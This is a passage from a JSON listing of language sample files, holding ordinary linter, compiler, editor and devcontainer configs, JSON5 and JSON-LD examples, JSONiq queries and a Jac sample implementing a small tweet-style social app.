predefined global variables\n}\n"
  },
  {
    "path": "samples/JSON with Comments/filenames/.jslintrc",
    "content": "{\n\t\"indent\": 4,\n\t\"maxlen\": 120,\n\t\"browser\": false,\n\t\"couch\": false,\n\t\"devel\": false,\n\t\"node\": false,\n\t\"rhino\": false,\n\t\"white\": true,\n\t\"plusplus\":true,\n\t\"stupid\":true,\n\n\t\"predef\": [\n\t\t\"setTimeout\",\n\t\t\"module\",\n\t\t\"exports\",\n\t\t\"define\",\n\t\t\"require\",\n\t\t\"window\",\n\t\t\"buster\",\n\t\t\"sinon\"\n\t]\n}\n"
  },
  {
    "path": "samples/JSON with Comments/filenames/.oxlintrc.json",
    "content": "{\n  \"plugins\": [\n    \"import\",\n    \"typescript\",\n    \"unicorn\"\n  ],\n  \"env\": {\n    \"browser\": true\n  },\n  \"globals\": {\n    \"foo\": \"readonly\"\n  },\n  \"settings\": {},\n  \"rules\": {\n    \"eqeqeq\": \"warn\",\n    \"import/no-cycle\": \"error\",\n    \"react/self-closing-comp\": [\n      \"error\",\n      {\n        \"html\": false\n      }\n    ]\n  },\n  \"overrides\": [\n    {\n      \"files\": [\n        \"*.test.ts\",\n        \"*.spec.ts\"\n      ],\n      \"rules\": {\n        \"@typescript-eslint/no-explicit-any\": \"off\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "samples/JSON with Comments/filenames/.swcrc",
    "content": "{\n  \"jsc\": {\n    \"parser\": {\n      \"syntax\": \"ecmascript\",\n      // use `tsx` for TypeScript\n      \"jsx\": false\n    },\n    \"target\": \"es2015\",\n    \"loose\": false,\n    \"minify\": {\n      \"compress\": false,\n      \"mangle\": false\n    }\n  },\n  \"module\": {\n    \"type\": \"es6\"\n  },\n  \"minify\": false,\n  \"isModule\": \"unknown\"\n}\n"
  },
  {
    "path": "samples/JSON with Comments/filenames/devcontainer.json",
    "content": "{\n\t\"name\": \"Go\",\n\t\"dockerFile\": \"Dockerfile\",\n\t\"runArgs\": [\n\t\t\"--cap-add=SYS_PTRACE\", \"--security-opt\", \"seccomp=unconfined\",\n\t\t// Mount go mod cache\n\t\t\"-v\", \"k8sinfra-gomodcache:/go/pkg\",\n\t\t// Cache vscode exentsions installs and homedir\n\t\t\"-v\", \"k8sinfra-vscodecache:/root/.vscode-server\",\n\t\t// Keep command history \n\t\t\"-v\", \"k8sinfra-bashhistory:/root/commandhistory\",\n\t\t// Mount docker socket for docker builds\n\t\t\"-v\", \"/var/run/docker.sock:/var/run/docker.sock\",\n\t\t// Use host network\n\t\t\"--network=host\",\n\t\t// Mount ssh \n\t\t\"-v\", \"${env:HOME}${env:USERPROFILE}/.ssh:/root/.ssh\",\n\t\t// Mount azure, git and kubernetes config dirs\n\t\t\"-v\", \"${env:HOME}${env:USERPROFILE}/.azure:/root/.azure\",\n\t\t\"-v\", \"${env:HOME}${env:USERPROFILE}/.gitconfig:/root/.gitconfig\", // Required due to volume mount used for .vscode-server\n\t\t\"-v\", \"${env:HOME}${env:USERPROFILE}/.kube:/root/.kube\"\n\t],\n\t\"workspaceMount\": \"src=${localWorkspaceFolder},dst=/workspace,type=bind,consistency=delegated\",\n\t\"workspaceFolder\": \"/workspace\",\n\t\"settings\": {\n\t\t\"go.gopath\": \"/go\",\n\t\t\"go.useLanguageServer\": true,\n\t\t\"[go]\": {\n\t\t\t\"editor.snippetSuggestions\": \"none\",\n\t\t\t\"editor.formatOnSave\": true,\n\t\t\t\"editor.codeActionsOnSave\": {\n\t\t\t\t\"source.organizeImports\": true\n\t\t\t}\n\t\t},\n\t\t\"gopls\": {\n\t\t\t\"usePlaceholders\": true, // add parameter placeholders when completing a function\n\t\t\t// Experimental settings\n\t\t\t\"completeUnimported\": true, // autocomplete unimported packages\n\t\t\t\"watchFileChanges\": true, // watch file changes outside of the editor\n\t\t\t\"deepCompletion\": true // enable deep completion\n\t\t},\n\t\t\"files.eol\": \"\\n\", // formatting only supports LF line endings,\n\t\t\"remote.extensionKind\": {\n\t\t\t\"ms-azuretools.vscode-docker\": \"workspace\"\n\t\t},\n\t\t\"yaml.schemas\": {\n\t\t\t\"kubernetes\": \"*.yaml\"\n\t\t},\n\t\t\"go.lintTool\":\"golangci-lint\",\n\t\t\"go.lintFlags\": [\n\t\t\"--fast\"\n\t\t]\n\t},\n\t\"extensions\": [\n\t\t\"ms-vsliveshare.vsliveshare-pack\",\n\t\t\"ms-azuretools.vscode-docker\",\n\t\t\"golang.Go\",\n\t\t\"redhat.vscode-yaml\",\n\t\t\"ms-kubernetes-tools.vscode-kubernetes-tools\"\n\t]\n}\n"
  },
  {
    "path": "samples/JSON with Comments/filenames/jsconfig.json",
    "content": "{\n\t// See https://go.microsoft.com/fwlink/?LinkId=759670\n\t// for the documentation about the jsconfig.json format\n\t\"compilerOptions\": {\n\t\t\"target\": \"es6\",\n\t\t\"module\": \"commonjs\",\n\t\t\"allowSyntheticDefaultImports\": true\n\t},\n\t\"exclude\": [\n\t\t\"node_modules\",\n\t\t\"bower_components\",\n\t\t\"jspm_packages\",\n\t\t\"tmp\",\n\t\t\"temp\"\n\t]\n}\n"
  },
  {
    "path": "samples/JSON with Comments/filenames/language-configuration.json",
    "content": "{\n\t\"comments\": {\n\t\t// symbol used for single line comment. Remove this entry if your language does not support line comments\n\t\t\"lineComment\": \"#\"\n\t},\n\t// symbols used as brackets\n\t\"brackets\": [\n\t\t[\"{\", \"}\"],\n\t\t[\"[\", \"]\"],\n\t\t[\"(\", \")\"]\n\t],\n\t// symbols that are auto closed when typing\n\t\"autoClosingPairs\": [\n\t\t[\"{\", \"}\"],\n\t\t[\"[\", \"]\"],\n\t\t[\"(\", \")\"],\n\t\t[\"\\\"\", \"\\\"\"],\n\t\t[\"'\", \"'\"]\n\t],\n\t// symbols that that can be used to surround a selection\n\t\"surroundingPairs\": [\n\t\t[\"{\", \"}\"],\n\t\t[\"[\", \"]\"],\n\t\t[\"(\", \")\"],\n\t\t[\"\\\"\", \"\\\"\"],\n\t\t[\"'\", \"'\"]\n\t]\n}\n"
  },
  {
    "path": "samples/JSON with Comments/filenames/tsconfig.json",
    "content": "{\n\t\"compilerOptions\": {\n\t\t/* Basic Options */\n\t\t\"target\": \"es6\",\n\t\t\"module\": \"commonjs\",\n\t\t\"outDir\": \"dist\"\n\t}\n}"
  },
  {
    "path": "samples/JSON with Comments/filenames/tslint.json",
    "content": "{\n  \"rules\": {\n    // -- Strict errors --\n    // These lint rules are likely always a good idea.\n\n    // Force function overloads to be declared together. This ensures readers understand APIs.\n    \"adjacent-overload-signatures\": true,\n\n    // Do not allow the subtle/obscure comma operator.\n    \"ban-comma-operator\": true,\n\n    // Do not allow internal modules or namespaces . These are deprecated in favor of ES6 modules.\n    \"no-namespace\": true,\n\n    // Do not allow parameters to be reassigned. To avoid bugs, developers should instead assign new values to new vars.\n    \"no-parameter-reassignment\": true,\n\n    // Force the use of ES6-style imports instead of /// <reference path=> imports.\n    \"no-reference\": true,\n\n    // Do not allow type assertions that do nothing. This is a big warning that the developer may not understand the\n    // code currently being edited (they may be incorrectly handling a different type case that does not exist).\n    \"no-unnecessary-type-assertion\": true,\n\n    // Disallow nonsensical label usage.\n    \"label-position\": true,\n\n    // Disallows the (often typo) syntax if (var1 = var2). Replace with if (var2) { var1 = var2 }.\n    \"no-conditional-assignment\": true,\n\n    // Disallows constructors for primitive types (e.g. new Number('123'), though Number('123') is still allowed).\n    \"no-construct\": true,\n\n    // Do not allow super() to be called twice in a constructor.\n    \"no-duplicate-super\": true,\n\n    // Do not allow the same case to appear more than once in a switch block.\n    \"no-duplicate-switch-case\": true,\n\n    // Do not allow a variable to be declared more than once in the same block. Consider function parameters in this\n    // rule.\n    \"no-duplicate-variable\": [true, \"check-parameters\"],\n\n    // Disallows a variable definition in an inner scope from shadowing a variable in an outer scope. Developers should\n    // instead use a separate variable name.\n    \"no-shadowed-variable\": true,\n\n    // Empty blocks are almost never needed. Allow the one general exception: empty catch blocks.\n    \"no-empty\": [true, \"allow-empty-catch\"],\n\n    // Functions must either be handled directly (e.g. with a catch() handler) or returned to another function.\n    // This is a major source of errors in Cloud Functions and the team strongly recommends leaving this rule on.\n    \"no-floating-promises\": true,\n\n    // Do not allow any imports for modules that are not in package.json. These will almost certainly fail when\n    // deployed.\n    \"no-implicit-dependencies\": true,\n\n    // The 'this' keyword can only be used inside of classes.\n    \"no-invalid-this\": true,\n\n    // Do not allow strings to be thrown because they will not include stack traces. Throw Errors instead.\n    \"no-string-throw\": true,\n\n    // Disallow control flow statements, such as return, continue, break, and throw in finally blocks.\n    \"no-unsafe-finally\": true,\n\n    // Expressions must always return a value. Avoids common errors like const myValue = functionReturningVoid();\n    \"no-void-expression\": [true, \"ignore-arrow-function-shorthand\"],\n\n    // Disallow duplicate imports in the same file.\n    \"no-duplicate-imports\": true,\n\n\n    // -- Strong Warnings --\n    // These rules should almost never be needed, but may be included due to legacy code.\n    // They are left as a warning to avoid frustration with blocked deploys when the developer\n    // understand the warning and wants to deploy anyway.\n\n    // Warn when an empty interface is defined. These are generally not useful.\n    \"no-empty-interface\": {\"severity\": \"warning\"},\n\n    // Warn when an import will have side effects.\n    \"no-import-side-effect\": {\"severity\": \"warning\"},\n\n    // Warn when variables are defined with var. Var has subtle meaning that can lead to bugs. Strongly prefer const for\n    // most values and let for values that will change.\n    \"no-var-keyword\": {\"severity\": \"warning\"},\n\n    // Prefer === and !== over == and !=. The latter operators support overloads that are often accidental.\n    \"triple-equals\": {\"severity\": \"warning\"},\n\n    // Warn when using deprecated APIs.\n    \"deprecation\": {\"severity\": \"warning\"},\n\n    // -- Light Warnings --\n    // These rules are intended to help developers use better style. Simpler code has fewer bugs. These would be \"info\"\n    // if TSLint supported such a level.\n\n    // prefer for( ... of ... ) to an index loop when the index is only used to fetch an object from an array.\n    // (Even better: check out utils like .map if transforming an array!)\n    \"prefer-for-of\": {\"severity\": \"warning\"},\n\n    // Warns if function overloads could be unified into a single function with optional or rest parameters.\n    \"unified-signatures\": {\"severity\": \"warning\"},\n\n    // Prefer const for values that will not change. This better documents code.\n    \"prefer-const\": {\"severity\": \"warning\"},\n\n    // Multi-line object literals and function calls should have a trailing comma. This helps avoid merge conflicts.\n    \"trailing-comma\": {\"severity\": \"warning\"}\n  },\n\n  \"defaultSeverity\": \"error\"\n}\n"
  },
  {
    "path": "samples/JSON with Comments/jade.sublime-completions",
    "content": "{\n\t\"scope\": \"entity.name.tag.jade\",\n\t\"completions\":\n\t[\n\t\t\"a\",//\tDefines a hyperlink\n\t\t\"abbr\",//\tDefines an abbreviation\n\t\t\"acronym\",//\tNot supported in HTML5. Use <abbr> instead.\n\t\t//Defines an acronym\n\t\t\"address\",//\tDefines contact information for the author/owner of a document\n\t\t\"applet\",//\tNot supported in HTML5. Use <object> instead.\n\t\t//Defines an embedded applet\n\t\t\"area\",//\tDefines an area inside an image-map\n\t\t\"article\",//\tDefines an article\n\t\t\"aside\",//\tDefines content aside from the page content\n\t\t\"audio\",//\tDefines sound content\n\t\t\"b\",//\tDefines bold text\n\t\t\"base\",//\tSpecifies the base URL/target for all relative URLs in a document\n\t\t\"basefont\",//\tNot supported in HTML5. Use CSS instead.\n\t\t//Specifies a default color, size, and font for all text in a document\n\t\t\"bdi\",//\tIsolates a part of text that might be formatted in a different direction from other text outside it\n\t\t\"bdo\",//\tOverrides the current text direction\n\t\t\"big\",//\tNot supported in HTML5. Use CSS instead.\n\t\t//Defines big text\n\t\t\"blockquote\",//\tDefines a section that is quoted from another source\n\t\t\"body\",//\tDefines the document's body\n\t\t\"br\",//\tDefines a single line break\n\t\t\"button\",//\tDefines a clickable button\n\t\t\"canvas\",//\tUsed to draw graphics, on the fly, via scripting (usually JavaScript)\n\t\t\"caption\",//\tDefines a table caption\n\t\t\"center\",//\tNot supported in HTML5. Use CSS instead.\n\t\t//Defines centered text\n\t\t\"cite\",//\tDefines the title of a work\n\t\t\"code\",//\tDefines a piece of computer code\n\t\t\"col\",//\tSpecifies column properties for each column within a <colgroup> element \n\t\t\"colgroup\",//\tSpecifies a group of one or more columns in a table for formatting\n\t\t\"command\",//\tDefines a command button that a user can invoke\n\t\t\"datalist\",//\tSpecifies a list of pre-defined options for input controls\n\t\t\"dd\",//\tDefines a description/value of a term in a description list\n\t\t\"del\",//\tDefines text that has been deleted from a document\n\t\t\"details\",//\tDefines additional details that the user can view or hide\n\t\t\"dfn\",//\tDefines a definition term\n\t\t\"dialog\",//\tDefines a dialog box or window\n\t\t\"dir\",//\tNot supported in HTML5. Use <ul> instead.\n\t\t//Defines a directory list\n\t\t\"div\",//\tDefines a section in a document\n\t\t\"dl\",//\tDefines a description list\n\t\t\"dt\",//\tDefines a term/name in a description list\n\t\t\"em\",//\tDefines emphasized text \n\t\t\"embed\",//\tDefines a container for an external (non-HTML) application\n\t\t\"fieldset\",//\tGroups related elements in a form\n\t\t\"figcaption\",//\tDefines a caption for a <figure> element\n\t\t\"figure\",//\tSpecifies self-contained content\n\t\t\"font\",//\tNot supported in HTML5. Use CSS instead.\n\t\t//Defines font, color, and size for text\n\t\t\"footer\",//\tDefines a footer for a document or section\n\t\t\"form\",//\tDefines an HTML form for user input\n\t\t\"frame\",//\tNot supported in HTML5.\n\t\t//Defines a window (a frame) in a frameset\n\t\t\"frameset\",//\tNot supported in HTML5.\n\t\t//Defines a set of frames\n\t\t\"h1\",// to <h6>\t Defines HTML headings\n\t\t\"head\",//\tDefines information about the document\n\t\t\"header\",//\tDefines a header for a document or section\n\t\t\"hgroup\",//\tGroups heading elements\n\t\t\"hr\",//\t Defines a thematic change in the content\n\t\t\"html\",//\tDefines the root of an HTML document\n\t\t\"i\",//\tDefines a part of text in an alternate voice or mood\n\t\t\"iframe\",//\tDefines an inline frame\n\t\t\"img\",//\tDefines an image\n\t\t\"input\",//\tDefines an input control\n\t\t\"ins\",//\tDefines a text that has been inserted into a document\n\t\t\"kbd\",//\tDefines keyboard input\n\t\t\"keygen\",//\tDefines a key-pair generator field (for forms)\n\t\t\"label\",//\tDefines a label for an <input> element\n\t\t\"legend\",//\tDefines a caption for a <fieldset> element\n\t\t\"li\",//\tDefines a list item\n\t\t\"link\",//\tDefines the relationship between a document and an external resource (most used to link to style sheets)\n\t\t\"main\",//\tSpecifies the main content of a document\n\t\t\"map\",//\tDefines a client-side image-map\n\t\t\"mark\",//\tDefines marked/highlighted text\n\t\t\"menu\",//\tDefines a list/menu of commands\n\t\t\"meta\",//\tDefines metadata about an HTML document\n\t\t\"meter\",//\tDefines a scalar measurement within a known range (a gauge)\n\t\t\"nav\",//\tDefines navigation links\n\t\t\"noframes\",//\tNot supported in HTML5.\n\t\t//Defines an alternate content for users that do not support frames\n\t\t\"noscript\",//\tDefines an alternate content for users that do not support client-side scripts\n\t\t\"object\",//\tDefines an embedded object\n\t\t\"ol\",//\tDefines an ordered list\n\t\t\"optgroup\",//\tDefines a group of related options in a drop-down list\n\t\t\"option\",//\tDefines an option in a drop-down list\n\t\t\"output\",//\tDefines the result of a calculation\n\t\t\"p\",//\tDefines a paragraph\n\t\t\"param\",//\tDefines a parameter for an object\n\t\t\"pre\",//\tDefines preformatted text\n\t\t\"progress\",//\tRepresents the progress of a task\n\t\t\"q\",//\tDefines a short quotation\n\t\t\"rp\",//\tDefines what to show in browsers that do not support ruby annotations\n\t\t\"rt\",//\tDefines an explanation/pronunciation of characters (for East Asian typography)\n\t\t\"ruby\",//\tDefines a ruby annotation (for East Asian typography)\n\t\t\"s\",//\tDefines text that is no longer correct\n\t\t\"samp\",//\tDefines sample output from a computer program\n\t\t\"script\",//\tDefines a client-side script\n\t\t\"section\",//\tDefines a section in a document\n\t\t\"select\",//\tDefines a drop-down list\n\t\t\"small\",//\tDefines smaller text\n\t\t\"source\",//\tDefines multiple media resources for media elements (<video> and <audio>)\n\t\t\"span\",//\tDefines a section in a document\n\t\t\"strike\",//\tNot supported in HTML5. Use <del> instead.\n\t\t//Defines strikethrough text\n\t\t\"strong\",//\tDefines important text\n\t\t\"style\",//\tDefines style information for a document\n\t\t\"sub\",//\tDefines subscripted text\n\t\t\"summary\",//\tDefines a visible heading for a <details> element\n\t\t\"sup\",//\tDefines superscripted text\n\t\t\"table\",//\tDefines a table\n\t\t\"tbody\",//\tGroups the body content in a table\n\t\t\"td\",//\tDefines a cell in a table\n\t\t\"textarea\",//\tDefines a multiline input control (text area)\n\t\t\"tfoot\",//\tGroups the footer content in a table\n\t\t\"th\",//\tDefines a header cell in a table\n\t\t\"thead\",//\tGroups the header content in a table\n\t\t\"time\",//\tDefines a date/time\n\t\t\"title\",//\tDefines a title for the document\n\t\t\"tr\",//\tDefines a row in a table\n\t\t\"track\",//\tDefines text tracks for media elements (<video> and <audio>)\n\t\t\"tt\",//\tNot supported in HTML5. Use CSS instead.\n\t\t//Defines teletype text\n\t\t\"u\",//\tDefines text that should be stylistically different from normal text\n\t\t\"ul\",//\tDefines an unordered list\n\t\t\"var\",//\tDefines a variable\n\t\t\"video\",//\tDefines a video or movie\n\t\t\"wbr\"\n\t]\n}\n\n"
  },
  {
    "path": "samples/JSON with Comments/jest.tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n      \"jsx\": \"react\",\n      \"target\": \"ES2019\",\n      \"emitDecoratorMetadata\": false // coverage broke if true\n    },\n  \"include\": [],\n  \"exclude\": [\"node_modules\",\"npm\"]\n}\n"
  },
  {
    "path": "samples/JSON with Comments/plyr.code-workspace",
    "content": "{\n  \"folders\": [\n    {\n      \"path\": \".\"\n    }\n  ],\n  \"settings\": {\n    \"search.exclude\": {\n      \"**/node_modules\": true,\n      \"**/dist\": true\n    },\n\n    // Linting\n    \"stylelint.enable\": true,\n    \"stylelint.validate\": [\"css\", \"scss\"],\n    \"css.validate\": false,\n    \"less.validate\": false,\n    \"scss.validate\": false,\n    \"javascript.validate.enable\": false,\n\n    // Formatting\n    \"editor.defaultFormatter\": \"esbenp.prettier-vscode\",\n    \"editor.tabSize\": 2,\n    \"editor.insertSpaces\": true,\n    \"editor.formatOnSave\": true,\n\n    // Trim on save\n    \"files.trimTrailingWhitespace\": true,\n\n    // Special file associations\n    \"files.associations\": {\n      \".eslintrc\": \"jsonc\"\n    },\n\n    \"editor.codeActionsOnSave\": {\n      \"source.fixAll\": true\n    }\n  }\n}\n"
  },
  {
    "path": "samples/JSON with Comments/vue.code-snippets",
    "content": "{\n    // Place your snippets for vue here. Each snippet is defined under a snippet name and has a prefix, body and\n    // description. The prefix is what is used to trigger the snippet and the body will be expanded and inserted. Possible variables are:\n    // $1, $2 for tab stops, $0 for the final cursor position, and \\${1:label}, \\${2:another} for placeholders. Placeholders with the\n    // same ids are connected.\n    \"script\": {\n        \"scope\": \"vue\",\n        \"prefix\": \"script\",\n        \"body\": [\n            \"<script lang=\\\"ts\\\">\",\n            \"import { defineComponent } from 'vue';\",\n            \"\",\n            \"export default defineComponent({\",\n            \"  $2\",\n            \"});\",\n            \"</script>\"\n        ],\n        \"description\": \"Create <script> block\"\n    },\n    \"script setup\": {\n        \"scope\": \"vue\",\n        \"prefix\": \"script setup\",\n        \"body\": [\n            \"<script lang=\\\"ts\\\" setup>\",\n            \"defineProps<{ $1 }>();\",\n            \"</script>\"\n        ],\n        \"description\": \"Create <script setup> + <script> blocks\"\n    },\n    \"style\": {\n        \"scope\": \"vue\",\n        \"prefix\": \"style\",\n        \"body\": [\n            \"<style lang=\\\"scss\\\" scoped>\",\n            \"$1\",\n            \"</style>\"\n        ],\n        \"description\": \"Create <style> block\"\n    },\n    \"v-for\": {\n        \"scope\": \"html\",\n        \"prefix\": \"v-for\",\n        \"body\": [\n            \"<template v-for=\\\"$1 in $2\\\">\",\n            \"  $3\",\n            \"</template>\"\n        ],\n        \"description\": \"Create html tag with v-for\"\n    },\n    \"v-if\": {\n        \"scope\": \"html\",\n        \"prefix\": \"v-if\",\n        \"body\": [\n            \"<template v-if=\\\"$1\\\">\",\n            \"  $2\",\n            \"</template>\"\n        ],\n        \"description\": \"Create html tag with v-if\"\n    },\n    \"v-else-if\": {\n        \"scope\": \"html\",\n        \"prefix\": \"v-else-if\",\n        \"body\": [\n            \"<template v-else-if=\\\"$1\\\">\",\n            \"  $2\",\n            \"</template>\"\n        ],\n        \"description\": \"Create html tag with v-else-if\"\n    },\n    \"v-else\": {\n        \"scope\": \"html\",\n        \"prefix\": \"v-else\",\n        \"body\": [\n            \"<template v-else>\",\n            \"  $2\",\n            \"</template>\"\n        ],\n        \"description\": \"Create html tag with v-else\"\n    }\n}\n"
  },
  {
    "path": "samples/JSON5/example.json5",
    "content": "/*\n * The following is a contrived example, but it illustrates most of the features:\n */\n\n{\n    foo: 'bar',\n    while: true,\n\n    this: 'is a \\\nmulti-line string',\n\n    // this is an inline comment\n    here: 'is another', // inline comment\n\n    /* this is a block comment\n       that continues on another line */\n\n    hex: 0xDEADbeef,\n    half: .5,\n    delta: +10,\n    to: Infinity,   // and beyond!\n\n    finally: 'a trailing comma',\n    oh: [\n        \"we shouldn't forget\",\n        'arrays can have',\n        'trailing commas too',\n    ],\n}\n"
  },
  {
    "path": "samples/JSON5/package.json5",
    "content": "// This file is written in JSON5 syntax, naturally, but npm needs a regular\n// JSON file, so compile via `npm run build`. Be sure to keep both in sync!\n\n{\n    name: 'json5',\n    version: '0.2.0',\n    description: 'JSON for the ES5 era.',\n    keywords: ['json', 'es5'],\n    author: 'Aseem Kishore <aseem.kishore@gmail.com>',\n    contributors: [\n        'Max Nanasy <max.nanasy@gmail.com>',\n    ],\n    main: 'lib/json5.js',\n    bin: 'lib/cli.js',\n    dependencies: {},\n    devDependencies: {\n        mocha: '~1.0.3',\n    },\n    scripts: {\n        build: './lib/cli.js -c package.json5',\n        test: 'mocha --ui exports --reporter spec',\n    },\n    homepage: 'http://json5.org/',\n    repository: {\n        type: 'git',\n        url: 'https://github.com/aseemk/json5.git',\n    },\n}\n"
  },
  {
    "path": "samples/JSONLD/sample.jsonld",
    "content": "{\n  \"@context\": {\n    \"property\": \"http://example.com/vocab#property\"\n  },\n  \"@id\": \"../document-relative\",\n  \"@type\": \"#document-relative\",\n  \"property\": {\n    \"@context\": {\n      \"@base\": \"http://example.org/test/\"\n    },\n    \"@id\": \"../document-base-overwritten\",\n    \"@type\": \"#document-base-overwritten\",\n    \"property\": [\n      {\n        \"@context\": null,\n        \"@id\": \"../document-relative\",\n        \"@type\": \"#document-relative\",\n        \"property\": \"context completely reset, drops property\"\n      },\n      {\n        \"@context\": {\n          \"@base\": null\n        },\n        \"@id\": \"../document-relative\",\n        \"@type\": \"#document-relative\",\n        \"property\": \"only @base is cleared\"\n      }\n    ]\n  }\n}\n"
  },
  {
    "path": "samples/JSONiq/detail.jq",
    "content": "(: Query for returning one database entry :) \n\nimport module namespace req = \"http://www.28msec.com/modules/http-request\";\nimport module namespace catalog = \"http://guide.com/catalog\";\n\nvariable $id := (req:param-values(\"id\"), \"London\")[1];\nvariable $part := (req:param-values(\"part\"), \"main\")[1];\n\ncatalog:get-data-by-key($id, $part)\n"
  },
  {
    "path": "samples/JSONiq/query.jq",
    "content": "(: Query for searching the database for keywords :)\n\nimport module namespace index = \"http://guide.com/index\";\nimport module namespace catalog = \"http://guide.com/catalog\";\n\nimport module namespace req = \"http://www.28msec.com/modules/http-request\";\n\nvariable $phrase := (req:param-values(\"q\"), \"London\")[1];\nvariable $limit := integer((req:param-values(\"limit\"), 5)[1]);\n\n[\nfor $result at $idx in index:index-search($phrase)\nwhere $idx le $limit\nlet $data := catalog:get-data-by-id($result.s, $result.p)\nreturn \n    {| { score : $result.r } , $data |}  \n]\n"
  },
  {
    "path": "samples/Jac/littleX.impl.jac",
    "content": "\nimpl search_tweets {\n    transformed = vectorizer.fit_transform([query, tweet]);\n    similarity = cosine_similarity(transformed[0], transformed[1])[0];\n    return similarity;\n}\n\nimpl Profile.update {\n    self.username = visitor.new_username;\n    report self;\n}\n\nimpl Profile.get {\n        follwers=[{\"id\": jid(i), \"username\": i.username} for i in [self-->(`?Profile)]];\n        report {\"user\": self, \"followers\": follwers};\n    }\n\nimpl Profile.follow{\n        current_profile = [root-->(`?Profile)];\n        current_profile[0] +>:Follow():+> self;\n        report self;\n    }\n\nimpl Profile.un_follow {\n        current_profile = [root-->(`?Profile)];\n        follow_edge = [edge current_profile[0] ->:Follow:-> self];\n        del follow_edge[0];\n        report self;\n    }\n\nimpl Tweet.update {\n        self.content = visitor.updated_content;\n        report self;\n    }\n\nimpl Tweet.delete {\n        del self;\n        disengage;\n    }\n\nimpl Tweet.like_tweet {\n        current_profile = [root-->(`?Profile)];\n        self +>:Like():+> current_profile[0];\n        report self;\n    }\n\nimpl Tweet.remove_like {\n        current_profile = [root-->(`?Profile)];\n        like_edge = [edge self ->:Like:-> current_profile[0]];\n        del like_edge[0];\n        report self;\n    }\n\nimpl Tweet.comment {\n        current_profile = [root-->(`?Profile)];\n        comment_node = current_profile[0] +>:Post():+> Comment(content=visitor.content);\n        grant(comment_node[0], level=ConnectPerm);\n        self ++> comment_node[0];\n        report comment_node[0];\n    }\n\nimpl Tweet.get_info {\n        return TweetInfo(\n            username=[self<-:Post:<-][0].username,\n            id=jid(self),\n            content=self.content,\n            embedding=self.embedding,\n            likes=[i.username for i in [self->:Like:->]],\n            comments=[{\"username\": [i<--(`?Profile)][0].username, \"id\": jid(i), \"content\": i.content} for i in [self-->(`?Comment)]]\n        );\n    }\n\nimpl Tweet.get {\n        tweet_info = self.get_info();\n        similarity = search_tweets(visitor.search_query, tweet_info.content);\n        visitor.results.append({\"Tweet_Info\": tweet_info, \"similarity\": similarity});\n    }\n\nimpl Comment.update {\n        self.content = visitor.updated_content;\n        report self;\n    }\n\nimpl Comment.delete {\n        del self;\n        disengage;\n    }\n\nimpl visit_profile.visit_profile {\n        visit [-->(`?Profile)] else {\n            new_profile = here ++> Profile();\n            grant(new_profile[0], level=ConnectPerm);\n            visit new_profile;\n        }\n    }\n\nimpl load_user_profiles.load_profiles {\n        self.profiles: list = [];\n\n        for each_root in allroots() {\n            profile = [each_root --> (`?Profile)][0];\n            self.profiles.append(\n                {\"name\": profile.username, \"id\": jid(profile)}\n            );\n        }\n    }\n\nimpl load_user_profiles.report_profiles {\n    report self.profiles;\n}\n\nimpl create_tweet.tweet {\n        embedding = vectorizer.fit_transform([self.content]).toarray().tolist();\n        tweet_node = here +>:Post():+> Tweet(content=self.content, embedding=embedding);\n        grant(tweet_node[0], level=ConnectPerm);\n        report tweet_node;\n    }\n\nimpl load_feed.load {\n        visit [-->(`?Tweet)];\n        for user_node in [->:Follow:->(`?Profile)] {\n            visit [user_node-->(`?Tweet)];\n        }\n    }\n\nimpl load_feed.report_feed {\n        self.results.sort(key=lambda x:dict:x['similarity'][0], reverse=True);\n        report self.results;\n}"
  },
  {
    "path": "samples/Jac/littleX.jac",
    "content": "import datetime;\nimport numpy;\nimport from sklearn.feature_extraction.text { TfidfVectorizer }\nimport from sklearn.metrics.pairwise { cosine_similarity }\n\nglob vectorizer = TfidfVectorizer();\n\ndef search_tweets(query: str, tweet:str) -> int;\n\nnode Profile {\n    has username: str = \"\";\n\n    can update with update_profile entry;\n\n    can get with get_profile entry;\n\n    can follow with follow_request entry;\n\n    can un_follow with un_follow_request entry;\n}\n\nobj TweetInfo {\n    has username: str;\n    has id: str;\n    has content: str;\n    has embedding: list;\n    has likes: list;\n    has comments: list;\n}\n\nnode Tweet {\n    has content: str;\n    has embedding: list;\n    has created_at: str = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\");\n\n    can update with update_tweet exit;\n\n    can delete with remove_tweet exit;\n\n    can like_tweet with like_tweet entry;\n\n    can remove_like with remove_like entry;\n\n    can comment with comment_tweet entry;\n\n    def get_info()-> TweetInfo;\n\n    can get with load_feed entry;\n}\n\nnode Comment {\n    has content: str;\n\n    can update with update_comment entry;\n\n    can delete with remove_comment entry;\n}\n\nedge Follow {}\n\nedge Like {}\n\nedge Post {}\n\nwalker visit_profile {\n    can visit_profile with `root entry;\n}\n\nwalker update_profile(visit_profile) {\n    has new_username: str;\n}\n\nwalker get_profile(visit_profile) {}\n\nwalker load_user_profiles {\n    obj __specs__ {\n        static has auth: bool = False;\n    }\n    can load_profiles with `root entry;\n\n    can report_profiles with exit;\n}\n\nwalker follow_request {}\n\nwalker un_follow_request {}\n\nwalker create_tweet(visit_profile) {\n    has content: str;\n\n    can tweet with Profile entry;\n}\n\nwalker update_tweet {\n    has updated_content: str;\n}\n\nwalker remove_tweet {}\n\nwalker like_tweet {}\n\nwalker remove_like {}\n\nwalker comment_tweet {\n    has content: str;\n}\n\nwalker update_comment {\n    has updated_content: str;\n}\n\nwalker remove_comment {}\n\nwalker load_feed(visit_profile) {\n    has search_query: str = \"\";\n    has results: list = [];\n\n    can load with Profile entry;\n\n    can report_feed with exit;\n\n}"
  },
  {
    "path": "samples/Jac/littleX.test.jac",
